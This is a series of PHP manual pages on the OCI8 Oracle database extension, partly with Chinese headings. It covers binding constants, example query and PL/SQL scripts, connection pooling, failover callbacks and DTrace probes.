OCI_SYSOPER | Used with oci_connect() to connect with the SYSOPER privilege. The php.ini setting oci8.privileged_connect should be enabled to use this.
OCI_TEMP_BLOB | Used with OCILob::writeTemporary to indicate that a temporary BLOB should be created.
OCI_TEMP_CLOB | Used with OCILob::writeTemporary to indicate that a temporary CLOB should be created.
OCI8 Bind and Define Types
Constant | Description
OCI_B_BFILE | Used with oci_bind_by_name() when binding BFILEs.
OCI_B_BIN | Used with oci_bind_by_name() to bind RAW values.
OCI_B_BLOB | Used with oci_bind_by_name() when binding BLOBs.
OCI_B_BOL | Used with oci_bind_by_name() to bind a PL/SQL BOOLEAN variable.
OCI_B_CFILEE | Used with oci_bind_by_name() when binding CFILEs.
OCI_B_CLOB | Used with oci_bind_by_name() when binding CLOBs.
OCI_B_CURSOR | Used with oci_bind_by_name() when binding cursors, previously allocated with oci_new_descriptor().
OCI_B_INT | Used with oci_bind_array_by_name() to bind arrays of INTEGER.
OCI_B_NTY | Used with oci_bind_by_name() when binding named data types.
OCI_B_NUM | Used with oci_bind_array_by_name() to bind arrays of NUMBER.
OCI_B_ROWID | Used with oci_bind_by_name() when binding ROWIDs.
SQLT_AFC | Used with oci_bind_array_by_name() to bind arrays of CHAR.
SQLT_AVC | Used with oci_bind_array_by_name() to bind arrays of VARCHAR2.
SQLT_BDOUBLE | Not supported.
SQLT_BFILEE | The same as OCI_B_BFILE.
SQLT_BFLOAT | Not supported.
SQLT_BIN | The same as OCI_B_BIN.
SQLT_BLOB | The same as OCI_B_BLOB.
SQLT_BOL | The same as OCI_B_BOL.
SQLT_CFILEE | The same as OCI_B_CFILEE.
SQLT_CHR | Used with oci_bind_array_by_name() to bind arrays of VARCHAR2. Also used with oci_bind_by_name().
SQLT_CLOB | The same as OCI_B_CLOB.
SQLT_FLT | Used with oci_bind_array_by_name() to bind arrays of FLOAT.
SQLT_INT | The same as OCI_B_INT.
SQLT_LBI | Used with oci_bind_by_name() to bind LONG RAW values.
SQLT_LNG | Used with oci_bind_by_name() to bind LONG values.
SQLT_LVC | Used with oci_bind_array_by_name() to bind arrays of LONG VARCHAR.
SQLT_NTY | The same as OCI_B_NTY.
SQLT_NUM | The same as OCI_B_NUM.
SQLT_ODT | Used with oci_bind_array_by_name() to bind arrays of LONG.
SQLT_RDD | The same as OCI_B_ROWID.
SQLT_RSET | The same as OCI_B_CURSOR.
SQLT_STR | Used with oci_bind_array_by_name() to bind arrays of STRING.
SQLT_UIN | Not supported.
SQLT_VCS | Used with oci_bind_array_by_name() to bind arrays of VARCHAR.
OCI8 Descriptor Types
Constant | Description
OCI_DTYPE_FILE | This flag tells oci_new_descriptor() to initialize a new FILE descriptor.
OCI_DTYPE_LOB | This flag tells oci_new_descriptor() to initialize a new LOB descriptor.
OCI_DTYPE_ROWID | This flag tells oci_new_descriptor() to initialize a new ROWID descriptor.
OCI_D_FILE | The same as OCI_DTYPE_FILE.
OCI_D_LOB | The same as OCI_DTYPE_LOB.
OCI_D_ROWID | The same as OCI_DTYPE_ROWID.

User Contributed Notes

There are no user contributed notes for this page.


示例

These examples connect as the HR user, which is the sample "Human Resources" schema supplied with the Oracle database. The account may need to be unlocked and the password reset before you can use it.

The examples connect to the XE database on your machine. Change the connect string to your database before running the examples.

Example #1 Basic query

This shows querying and displaying results. Statements in OCI8 use a prepare-execute-fetch sequence of steps.

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Prepare the statement
$stid = oci_parse($conn, 'SELECT * FROM departments');
if (!$stid) {
$e = oci_error($conn);
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Perform the logic of the query
$r = oci_execute($stid);
if (!$r) {
$e = oci_error($stid);
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

// Fetch the results of the query
print "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
print "<tr>\n";
foreach ($row as $item) {
print " <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
}
print "</tr>\n";
}
print "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 Inserting with bind variables

Bind variables improve performance by allowing reuse of execution contexts and caches. Bind variables improve security by preventing some kinds of SQL Injection problems.

<?php

// Before running, create the table:
// CREATE TABLE MYTABLE (mid NUMBER, myd VARCHAR2(20));

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'INSERT INTO MYTABLE (mid, myd) VALUES(:myid, :mydata)');

$id = 60;
$data = 'Some data';

oci_bind_by_name($stid, ':myid', $id);
oci_bind_by_name($stid, ':mydata', $data);

$r = oci_execute($stid); // executes and commits

if ($r) {
print "One row inserted";
}

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 Binding in the WHERE clause of a query

This shows a single scalar bind.

<?php

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$sql = 'SELECT last_name FROM employees WHERE department_id = :didbv ORDER BY last_name';
$stid = oci_parse($conn, $sql);
$didbv = 60;
oci_bind_by_name($stid, ':didbv', $didbv);
oci_execute($stid);
while (($row = oci_fetch_array($stid, OCI_ASSOC)) != false) {
echo $row['LAST_NAME'] ."<br>\n";
}

// Output is
// Austin
// Ernst
// Hunold
// Lorentz
// Pataballa

oci_free_statement($stid);
oci_close($conn);

?>

Example #4 Inserting and fetching a CLOB

For large data use binary long object (BLOB) or character long object (CLOB) types. This example uses CLOB.

<?php

// Before running, create the table:
// CREATE TABLE MYTABLE (mykey NUMBER, myclob CLOB);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$mykey = 12343; // arbitrary key for this example;

$sql = "INSERT INTO mytable (mykey, myclob)
VALUES (:mykey, EMPTY_CLOB())
RETURNING myclob INTO :myclob";

$stid = oci_parse($conn, $sql);
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_bind_by_name($stid, ":myclob", $clob, -1, OCI_B_CLOB);
oci_execute($stid, OCI_NO_AUTO_COMMIT);
$clob->save("A very long string");

oci_commit($conn);

// Fetching CLOB data

$query = 'SELECT myclob FROM mytable WHERE mykey = :mykey';

$stid = oci_parse ($conn, $query);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_execute($stid);

print '<table border="1">';
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_LOBS)) {
print '<tr><td>'.$row['MYCLOB'].'</td></tr>';
// In a loop, freeing the large variable before the 2nd fetch reduces PHP's peak memory usage
unset($row);
}
print '</table>';

?>

Example #5 Using a PL/SQL stored function

You must bind a variable for the return value and optionally for any PL/SQL function arguments.

<?php

/*
Before running the PHP program, create a stored function in
SQL*Plus or SQL Developer:

CREATE OR REPLACE FUNCTION myfunc(p IN NUMBER) RETURN NUMBER AS
BEGIN
RETURN p * 3;
END;

*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$p = 8;

$stid = oci_parse($conn, 'begin :r := myfunc(:p); end;');
oci_bind_by_name($stid, ':p', $p);
oci_bind_by_name($stid, ':r', $r, 40);

oci_execute($stid);

print "$r\n"; // prints 24

oci_free_statement($stid);
oci_close($conn);

?>

Example #6 Using a PL/SQL stored procedure

With stored procedures, you should bind variables for any arguments.

<?php

/*
Before running the PHP program, create a stored procedure in
SQL*Plus or SQL Developer:

CREATE OR REPLACE PROCEDURE myproc(p1 IN NUMBER, p2 OUT NUMBER) AS
BEGIN
p2 := p1 * 2;
END;

*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$p1 = 8;

$stid = oci_parse($conn, 'begin myproc(:p1, :p2); end;');
oci_bind_by_name($stid, ':p1', $p1);
oci_bind_by_name($stid, ':p2', $p2, 40);

oci_execute($stid);

print "$p2\n"; // prints 16

oci_free_statement($stid);
oci_close($conn);

?>

Example #7 Calling a PL/SQL function that returns a REF CURSOR

Each returned value from the query is a REF CURSOR that can be fetched from.

<?php
/*
Create the PL/SQL stored function as:

CREATE OR REPLACE FUNCTION myfunc(p1 IN NUMBER) RETURN SYS_REFCURSOR AS
rc SYS_REFCURSOR;
BEGIN
OPEN rc FOR SELECT city FROM locations WHERE ROWNUM < p1;
RETURN rc;
END;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT myfunc(5) AS mfrc FROM dual');
oci_execute($stid);

echo "<table border='1'>\n";
while (($row = oci_fetch_array($stid, OCI_ASSOC))) {
echo "<tr>\n";
$rc = $row['MFRC'];
oci_execute($rc); // returned column value from the query is a ref cursor
while (($rc_row = oci_fetch_array($rc, OCI_ASSOC))) {
echo " <td>" . $rc_row['CITY'] . "</td>\n";
}
oci_free_statement($rc);
echo "</tr>\n";
}
echo "</table>\n";

// Output is:
// Beijing
// Bern
// Bombay
// Geneva

oci_free_statement($stid);
oci_close($conn);

?>

User Contributed Notes

alvaro at demogracia dot com 17-Jul-2015 08:48
To run a procedure you can use "CALL", e.g.:

    CALL DBMS_MVIEW.REFRESH('SALES_MV');


OCI8 Connection Handling and Connection Pooling

Connection Functions

The OCI8 extension provides three different functions for connecting to Oracle. The standard connection function is oci_connect(). This creates a connection to an Oracle database and returns a resource used by subsequent database calls.

Connecting to an Oracle server is a reasonably expensive operation in terms of the time that it takes to complete. The oci_pconnect() function uses a persistent cache of connections that can be re-used across different script requests. This means that the connection overhead will typically only occur once per PHP process (or Apache child).

If the application connects to Oracle using a different set of database credentials for each web user, the persistent cache employed by oci_pconnect() will become less useful as the number of concurrent users increases, to the point where it may start to adversely affect the overall performance of the Oracle server due to maintaining too many idle connections. If the application is structured in this way, it is recommended to either tune the application using the oci8.max_persistent and oci8.persistent_timeout configuration settings (these will give control over the persistent connection cache size and lifetime), use Oracle Database Resident Connection Pooling (in Oracle Database 11g or later), or use oci_connect() instead.

Both oci_connect() and oci_pconnect() employ a connection cache; if multiple calls to oci_connect() use the same parameters in a given script, the second and subsequent calls return the existing connection handle. The cache used by oci_connect() is cleaned up at the end of the script run, or when the connection handle is explicitly closed. The function oci_pconnect() has similar behavior, although its cache is maintained separately and survives between HTTP requests.

This caching feature means the two handles are not transactionally isolated (they are in fact the same connection handle, so there is no isolation of any kind). If the application needs two separate, transactionally isolated connections, then use oci_new_connect().

The oci_pconnect() cache is cleared and any database connections closed when the PHP process terminates, so effective use of persistent connections requires that PHP be an Apache module or used with FPM, or similar. Persistent connections will not have any benefits over oci_connect() when PHP is used with CGI or via the command-line.

The function oci_new_connect() always creates a new connection to the Oracle server, regardless of what other connections might already exist. High traffic web applications should avoid using oci_new_connect(), especially in the busiest sections of the application.

Persistent connections can be closed by the user, allowing greater control over connection resource usage. Persistent connections will now also be closed automatically when there is no PHP variable referencing them, such as at the end of scope of a PHP user function. This will rollback any uncommitted transaction. These changes to persistent connections make them behave similarly to non-persistent connections, simplifying the interface, allowing for greater application consistency and predictability. Use oci8.old_oci_close_semantics set to On to retain the historical behavior.

The automatic re-establishment of PHP persistent connections after an Apache or FPM process respawns means Oracle Database LOGON triggers are only recommended for setting session attributes and not for per-application user connection requests.

DRCP Connection Pooling

PHP supports Oracle Database Resident Connection Pooling (DRCP). DRCP allows more efficient use of database machine memory and provides high scalability. No, or minimal, application changes are needed to use DRCP.

DRCP is suited for applications that connect using few database schemas and hold database connections open for a short period of time. Other applications should use Oracle's default Dedicated database server processes, or use Shared servers.

DRCP benefits all three connection functions, but gives the highest scalability when connections are created with oci_pconnect().

For DRCP to be available in OCI8, Oracle client libraries used by PHP and the version of the Oracle Database must both be 11g or greater.

Documentation on DRCP is found in several Oracle manuals. For example, see » Configuring Database Resident Connection Pooling in the Oracle documentation for usage information. A » DRCP white paper contains background information on DRCP.

To use DRCP, install the OCI8 extension and Oracle 11g (or later) libraries and then follow these steps:

  • As a privileged database administrator, use a program like SQL*Plus to start the connection pool in the database:

        SQL> execute dbms_connection_pool.start_pool;

  • Optionally use dbms_connection_pool.alter_param() to configure DRCP settings. The current pool settings can be queried from the DBA_CPOOL_INFO view.

  • Update the connection strings used. For PHP applications that currently connect using a Network Connect Name like MYDB:

        $c = oci_pconnect("myuser", "mypassword", "MYDB");

    modify the tnsnames.ora file and add a (SERVER=POOLED) clause, for example:

        MYDB = (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp) (HOST=myhost.dom.com)
           (PORT=1521))(CONNECT_DATA=(SERVICE_NAME=sales)
           (SERVER=POOLED)))

    Alternatively, modify the Easy Connect syntax in PHP and add :POOLED after the service name:

        $c = oci_pconnect("myuser", "mypassword", "myhost.dom.com:1521/sales:POOLED");

  • Edit php.ini and choose a connection class name. This name indicates a logical division of the connection pool and can be used to isolate pooling for separate applications. Any PHP applications with the same user name and connection class value will be able to share connections in the pool, giving greater scalability.

        oci8.connection_class = "MY_APPLICATION_NAME"

  • Run the application, connecting to the 11g (or later) database.

Note:

Applications using Oracle Client libraries 10g that require the performance of persistent connections can reduce the amount of database server memory needed by using Oracle Shared servers (previously known as Multi Threaded Servers). Refer to Oracle documentation for information.

Note:

Changing a password over DRCP connections will fail with the error ORA-56609: Usage not supported with DRCP. This is a documented restriction of Oracle Database 11g.

User Contributed Notes

There are no user contributed notes for this page.


OCI8 Fast Application Notification (FAN) Support

FAN support gives fast connection failover, an Oracle Database high availability feature. This allows PHP OCI8 scripts to be notified when a database machine or database instance becomes unavailable. Without FAN, OCI8 can hang until a TCP timeout occurs and an error is returned, which might be several minutes. Enabling FAN in OCI8 can allow applications to detect errors and re-connect to an available database instance without the web user being aware of an outage.

FAN support is available when the Oracle client libraries that PHP links with and the Oracle Database are either version 10gR2 or later.

FAN benefits users of Oracle's clustering technology (RAC) because connections to surviving database instances can be immediately made. Users of Oracle's Data Guard with a broker will see the FAN events generated when the standby database goes online. Standalone databases will send FAN events when the database restarts.

For active connections, when a machine or database instance becomes unavailable, a connection failure error will be returned by the OCI8 extension function currently being called. On a subsequent PHP script re-connect, a connection to a surviving database instance will be established. The OCI8 extension also transparently cleans up any idle connections affected by a database machine or instance failure so PHP connect calls will establish a fresh connection without the script being aware of any service disruption.

When oci8.events is On, it is suggested to set oci8.ping_interval to -1 to disable pinging, since enabling FAN events provide pro-active connection management of idle connections made invalid by a service disruption.

To enable FAN support in PHP OCI8, build PHP OCI8 with Oracle 10gR2 or later libraries and then follow these steps:

  • As a privileged database administrator, use a program like SQL*Plus to enable the database service to post FAN events, for example:

        SQL> execute dbms_service.modify_service(
                   SERVICE_NAME        => 'sales',
                   AQ_HA_NOTIFICATIONS => TRUE);

  • Edit php.ini and add

        oci8.events = On

  • If the application does not already handle OCI8 error conditions, modify it to detect failures and take appropriate action. This may include re-connecting and re-executing statements.
  • Run the application, connecting to Oracle Database 10gR2 or later.

User Contributed Notes

There are no user contributed notes for this page.


OCI8 Transparent Application Failover (TAF) Support

TAF is an Oracle Database feature that provides high availability. It enables PHP OCI8 applications to automatically reconnect to a preconfigured database when database connectivity fails due to instance or network failure.

In a configured Oracle Database system, TAF occurs when the PHP application detects that the database instance is down or unreachable. It establishes a connection to another node in an Oracle » RAC configuration, a hot standby database, or the same database instance itself. See » Oracle Call Interface Programmer's Guide for more information about OCI TAF.

An application callback can be registered with oci_register_taf_callback(). During failover, normal application processing stops and the registered callback is invoked. The callback notifies the application of the failover events. If the failover succeeds, normal processing will be resumed. If the failover aborts, any following database operations in the application will fail due to no connection being available.

When a connection fails over to another database, the callback can reset any necessary connection state, for example replaying any necessary ALTER SESSION commands if the database service did not have -failover_restore enabled.

An application callback can be removed by calling oci_unregister_taf_callback().

Configuring Transparent Application Failover

TAF can be configured on the PHP OCI8 side or in the database configuration. If both are configured, database-side settings take precedence.

Configure TAF in PHP OCI8 (the client side) by including the FAILOVER_MODE parameter in the CONNECT_DATA portion of a connect descriptor. See Configuring Transparent Application Failover in » Oracle Database Net Services Administrator's Guide for more information about client side configuration of TAF.

An example tnsnames.ora to configure TAF reconnecting to the same database instance:

    ORCL =
      (DESCRIPTION =
        (ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521))
        (CONNECT_DATA =
          (SERVICE_NAME = orclpdb1)
          (FAILOVER_MODE =
            (TYPE = SELECT)
            (METHOD = BASIC)
            (RETRIES = 20)
            (DELAY = 15))))

Alternatively configure TAF on the database side by modifying the target service with » srvctl (for RAC) or the » DBMS_SERVICE.MODIFY_SERVICE packaged procedure (for single instance databases).

Using TAF Callbacks in OCI8

A TAF callback is an application function that can be registered to be called during failover. It is called several times while re-establishing the application's connection.

Callback first occurs when a loss of connection is detected. This allows the application to act accordingly for the upcoming delay of the failover. If the failover is successful, the callback is invoked after connection is re-established and usable. At this time, the application can resynchronize session settings and take actions such as informing the user that failover occurred. If failover is unsuccessful, a callback occurs to inform the application that a failover did not take place and the connection is unusable.

The interface of a TAF user-defined callback function is as follows:

userCallbackFn(resource $connection, int $event, int $type): int

connection

The Oracle connection on which the TAF callback was registered via oci_register_taf_callback(). The connection is not valid until the failover completes successfully.

event

The failover event indicates the current status of the failover.

  • OCI_FO_BEGIN indicates that failover has detected a lost connection and failover is starting.

  • OCI_FO_END indicates successful completion of failover.

  • OCI_FO_ABORT indicates that failover was unsuccessful, and there is no option of retrying.

  • OCI_FO_ERROR also indicates that failover was unsuccessful, but it gives the application the opportunity to handle the error and return OCI_FO_RETRY to retry failover.

  • OCI_FO_REAUTH indicates that an Oracle user has been re-authenticated.

type

The failover type. This lets the callback know what type of failover the application has requested. The usual values are as follows:

  • OCI_FO_SESSION indicates that the user has requested only session failover. For example, if a user's connection is lost, then a new session is automatically created for the user on the backup. This type of failover does not attempt to recover SELECTs.

  • OCI_FO_SELECT indicates that the user has requested SELECT failover as well. It allows users with open cursors to continue fetching from them after failure.

return value

  • 0 indicates the failover steps should continue normally.

  • OCI_FO_RETRY indicates that the failover should be attempted again by Oracle. In case of an error while failing over to a new connection, TAF is able to retry the failover. Typically, the application code should sleep for a while before returning OCI_FO_RETRY.

The following example registers a TAF callback

<?php

// Define userspace callback
class MyClass {
public static $retry_count;
public static function TAFCallback($conn, $event, $type)
{
switch ($event) {
case OCI_FO_BEGIN:
printf(" Failing Over ... Please stand by\n");
printf(" Failover type was found to be %s \n",
(($type==OCI_FO_SESSION) ? "SESSION"
:(($type==OCI_FO_SELECT) ? "SELECT" : "UNKNOWN!")));
self::$retry_count = 0;
break;
case OCI_FO_ABORT:
// The application cannot continue using the database
printf(" Failover aborted. Failover will not take place.\n");
break;
case OCI_FO_END:
// Failover completes successfully. Inform users a failover occurs.
printf(" Failover ended ... resuming services\n");
break;
case OCI_FO_REAUTH:
printf(" Failed over user ... resuming services\n");
// Replay any ALTER SESSION commands associated with this connection
// eg. oci_parse($conn, 'ALTER SESSION ...') ;
break;
case OCI_FO_ERROR:
// Stop retrying if we have already attempted for 20 times.
if (self::$retry_count >= 20)
return 0;
printf(" Failover error received. Sleeping...\n");
sleep(10);
self::$retry_count++;
return OCI_FO_RETRY; // retry failover
break;
default:
printf("Bad Failover Event: %d.\n", $event);
break;
}
return 0;
}
}

$fn_name = 'MyClass::TAFCallback';

$conn = oci_connect('hr', 'welcome', 'orcl');
$sysconn = oci_connect('system', 'oracle', 'orcl');

// Use a privileged connection to construct a SQL statement that will initiate failover
$sql = <<< 'END'
select unique 'alter system disconnect session '''||sid||','||serial#||''''
from v$session_connect_info
where sid = sys_context('USERENV', 'SID')
END;

$s = oci_parse($conn, $sql);
oci_execute($s);
$r = oci_fetch_array($s);
$disconnectssql = $r[0];

oci_register_taf_callback($conn, $fn_name); // Register TAFCallback to Oracle TAF

print "Parsing user query\n";
$sql = "select systimestamp from dual";
$stmt = oci_parse($conn, $sql);

// For example, if a connection loss occurs at this point, oci_execute() will
// detect the loss and failover begins. During failover, oci_execute() will
// invoke the TAF callback function several times. If the failover is successful,
// a new connection is transparently created and oci_execute() will continue as
// usual. The connection session settings can be reset in the TAF callback
// function. If the failover is aborted, oci_execute() will return an error
// because a valid connection is not available.

// Disconnect the user, which initiates failover
print "Disconnecting the user\n";
$discsql = oci_parse($sysconn, $disconnectssql);
oci_execute($discsql);

print "Executing user query\n";
$e = oci_execute($stmt);
if (!$e) {
$m = oci_error($stmt);
trigger_error("Could not execute statement: ". $m['message'], E_USER_ERROR);
}
$row = oci_fetch_array($stmt);
print $row[0] . "\n";

// do other SQL statements with the new connection, if it is valid
// $stmt = oci_parse($conn, . . .);

?>

参见

  • oci_register_taf_callback()
  • oci_unregister_taf_callback()

User Contributed Notes

There are no user contributed notes for this page.


OCI8 and DTrace Dynamic Tracing

OCI8 2.0 introduced static DTrace probes that can be used on operating systems that support DTrace. See DTrace Dynamic Tracing for an overview of PHP and DTrace.

Installing OCI8 with DTrace Support

To enable DTrace support in PHP OCI8, build OCI8 as a shared extension after setting PHP_DTRACE.

$ export PHP_DTRACE=yes
$ pecl install oci8

Edit php.ini, set extension_dir to the directory with the created oci8.so and also enable the extension by adding:

extension=oci8.so

If you install PHP OCI8 from PECL using phpize and configure (instead of pecl), you will still need to set PHP_DTRACE=yes. This is because the --enable-dtrace option will be ignored by the limited configure script of a PECL bundle.

See Installation of PECL extensions for general PECL installation instructions.

DTrace Static Probes in PHP OCI8

The following static probes are available in PHP OCI8
Probe Name | Probe Description | Probe Arguments
oci8-connect-entry | Initiated by oci_connect(), oci_pconnect() and oci_new_connect(). Fires before database connection is established. | char *username, char *dbname, char *charset, long session_mode, int persistent, int exclusive
oci8-connect-return | Fires at the end of connection. | void *connection
oci8-check-connection | Fires if an Oracle error might have caused the connection to become invalid. | void *connection, char *client_id, int is_open, long errcode, unsigned long server_status
oci8-sqltext | Fires when oci_parse() is executed. | void *connection, char *client_id, void *statement, char *sql
oci8-connection-close | Fires when the connection to the database is completely destroyed. | void *connection
oci8-error | Fires if an Oracle error occurs. | int status, long errcode
oci8-execute-mode | Fires at oci_execute() to show the execution mode. | void *connection, char *client_id, void *statement, unsigned int mode

These probes are useful for tracing OCI8 scripts.

The connection and statement are the pointers to internal structures used for tracking PHP connections and executed statements.

The client_id is the value set by oci_set_client_identifier().

Core PHP also has static probes. See DTrace Static Probes in Core PHP.

Internal Debugging DTrace Probes in OCI8
Probe Name
oci8-connect-expiry
oci8-connect-lookup
oci8-connect-p-dtor-close
oci8-connect-p-dtor-release
oci8-connect-type
oci8-sesspool-create
oci8-sesspool-stats
oci8-sesspool-type

These probes are useful for OCI8 maintainers. Refer to the OCI8 source code for arguments and to see when the will fire.

Listing DTrace Static Probes in PHP OCI8

To list available probes, start a PHP process and then run:

# dtrace -l

The output will be similar to:

   ID   PROVIDER            MODULE                          FUNCTION NAME
   [ . . . ]
   17 phpoci22116           oci8.so   php_oci_dtrace_check_connection oci8-check-connection
   18 phpoci22116           oci8.so                php_oci_do_connect oci8-connect-entry
   19 phpoci22116           oci8.so         php_oci_persistent_helper oci8-connect-expiry
   20 phpoci22116           oci8.so             php_oci_do_connect_ex oci8-connect-lookup
   21 phpoci22116           oci8.so  php_oci_pconnection_list_np_dtor oci8-connect-p-dtor-close
   22 phpoci22116           oci8.so  php_oci_pconnection_list_np_dtor oci8-connect-p-dtor-release
   23 phpoci22116           oci8.so                php_oci_do_connect oci8-connect-return
   24 phpoci22116           oci8.so             php_oci_do_connect_ex oci8-connect-type
   25 phpoci22116           oci8.so          php_oci_connection_close oci8-connection-close
   26 phpoci22116           oci8.so                     php_oci_error oci8-error
   27 phpoci22116           oci8.so         php_oci_statement_execute oci8-execute-mode
   28 phpoci22116           oci8.so              php_oci_create_spool oci8-sesspool-create
   29 phpoci22116           oci8.so            php_oci_create_session oci8-sesspool-stats
   30 phpoci22116           oci8.so            php_oci_create_session oci8-sesspool-type
   31 phpoci22116           oci8.so          php_oci_statement_create oci8-sqltext

The Provider column values consist of phpoci and the process id of the currently running PHP process.

The Function column refers to PHP's internal C implementation function names where each provider is located.

If a PHP process is not running, then no PHP probes will be shown.

DTrace with PHP OCI8 Example

This example shows the basics of the DTrace D scripting language.

Example #1 user_oci8_probes.d for tracing all user-level PHP OCI8 Static Probes with DTrace

#!/usr/sbin/dtrace -Zs

#pragma D option quiet

php*:::oci8-connect-entry
{
    printf("%lld: PHP connect-entry\n", walltimestamp);
    printf("  credentials=\"%s@%s\"\n", arg0 ? copyinstr(arg0) : "", arg1 ? copyinstr(arg1) : "");
    printf("  charset=\"%s\"\n", arg2 ? copyinstr(arg2) : "");
    printf("  session_mode=%ld\n", (long)arg3);
    printf("  persistent=%d\n", (int)arg4);
    printf("  exclusive=%d\n", (int)arg5);
}

php*:::oci8-connect-return
{
    printf("%lld: PHP oci8-connect-return\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
}

php*:::oci8-connection-close
{
    printf("%lld: PHP oci8-connect-close\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
}

php*:::oci8-error
{
    printf("%lld: PHP oci8-error\n", walltimestamp);
    printf("  status=%d\n", (int)arg0);
    printf("  errcode=%ld\n", (long)arg1);
}

php*:::oci8-check-connection
{
    printf("%lld: PHP oci8-check-connection\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
    printf("  client_id=\"%s\"\n", arg1 ? copyinstr(arg1) : "");
    printf("  is_open=%d\n", arg2);
    printf("  errcode=%ld\n", (long)arg3);
    printf("  server_status=%lu\n", (unsigned long)arg4);
}

php*:::oci8-sqltext
{
    printf("%lld: PHP oci8-sqltext\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
    printf("  client_id=\"%s\"\n", arg1 ? copyinstr(arg1) : "");
    printf("  statement=0x%p\n", (void *)arg2);
    printf("  sql=\"%s\"\n", arg3 ? copyinstr(arg3) : "");
}

php*:::oci8-execute-mode
{
    printf("%lld: PHP oci8-execute-mode\n", walltimestamp);
    printf("  connection=0x%p\n", (void *)arg0);
    printf("  client_id=\"%s\"\n", arg1 ? copyinstr(arg1) : "");
    printf("  statement=0x%p\n", (void *)arg2);
    printf("  mode=0x%x\n", arg3);
}

This script uses the -Z option to dtrace, allowing it to be run when there is no PHP process executing. If this option were omitted the script would immediately terminate when no PHP executable was running because it knows none of the probes to be monitored are in existence.

On multi-CPU machines the probe ordering might not appear to be sequential. This depends on which CPU was processing the probes, and how threads migrate across CPUs. Displaying probe time stamps helps reduce confusion.

The script traces all user-level PHP OCI8 static probe points throughout the duration of a running PHP script. Run the D script:

# ./user_oci8_probes.d

Run a PHP script or application. The monitoring D script will output each probe's arguments as it fires. For example, a simple PHP script that queries a table might produce the following trace output:

1381794982092854582: PHP connect-entry
  credentials="hr@localhost/pdborcl"
  charset=""
  session_mode=0
  persistent=0
  exclusive=0
1381794982183158766: PHP oci8-connect-return
  connection=0x7f4a7907bfb8
1381794982183594576: PHP oci8-sqltext
  connection=0x7f4a7907bfb8
  client_id="Chris"
  statement=0x7f4a7907c2a0
  sql="select * from employees"
1381794982183783706: PHP oci8-execute-mode
  connection=0x7f4a7907bfb8
  client_id="Chris"
  statement=0x7f4a7907c2a0
  mode=0x20
1381794982444344390: PHP oci8-connect-close
  connection=0x7f4a7907bfb8

When monitoring is complete, the D script can be terminated with a CTRL+C.

参见

  • DTrace Dynamic Tracing

User Contributed Notes

There are no user contributed notes for this page.


Supported Datatypes

The driver supports the following types when binding parameters using the oci_bind_by_name() function:
Type | Mapping
SQLT_NTY | Maps a native collection type from a PHP collection object, such as those created by oci_new_collection().
SQLT_BFILEE | Maps a native descriptor, such as those created by oci_new_descriptor().
SQLT_CFILEE | Maps a native descriptor, such as those created by oci_new_descriptor().
SQLT_CLOB | Maps a native descriptor, such as those created by oci_new_descriptor().
SQLT_BLOB | Maps a native descriptor, such as those created by oci_new_descriptor().
SQLT_RDD | Maps a native descriptor, such as those created by oci_new_descriptor().
SQLT_NUM | Converts the PHP parameter to a 'C' long type, and binds to that value.
SQLT_RSET | Maps a native statement handle, such as those created by oci_parse() or those retrieved from other OCI queries.
SQLT_BOL | Bind the PHP parameter to a PL/SQL BOOLEAN
SQLT_CHR and any other type | Converts the PHP parameter to a string type and binds as a string.
The following types are supported when retrieving columns from a result set:
Type | Mapping
SQLT_RSET | Creates an oci statement resource to represent the cursor.
SQLT_RDD | Creates a ROWID object.
SQLT_BLOB | Creates a LOB object.
SQLT_CLOB | Creates a LOB object.
SQLT_BFILE | Creates a LOB object.
SQLT_LNG | Bound as SQLT_CHR, returned as a string
SQLT_LBI | Bound as SQLT_BIN, returned as a string
Any other type | Bound as SQLT_CHR, returned as a string

User Contributed Notes

There are no user contributed notes for this page.


OCI8 函数

Table of Contents

  • oci_bind_array_by_name — Binds a PHP array to an Oracle PL/SQL array parameter
  • oci_bind_by_name — 绑定 PHP 变量到 Oracle 位置标志符
  • oci_cancel — 中断游标读取数据
  • oci_client_version — Returns the Oracle client library version
  • oci_close — 关闭 Oracle 连接
  • oci_commit — 提交未完成的数据库事务
  • oci_connect — 建立一个到 Oracle 服务器的连接
  • oci_define_by_name — 将 PHP 变量与查询读取的列相关联
  • oci_error — 返回最后发现的错误
  • oci_execute — 执行语句
  • oci_fetch_all — 从查询中读取多行到二维数组中
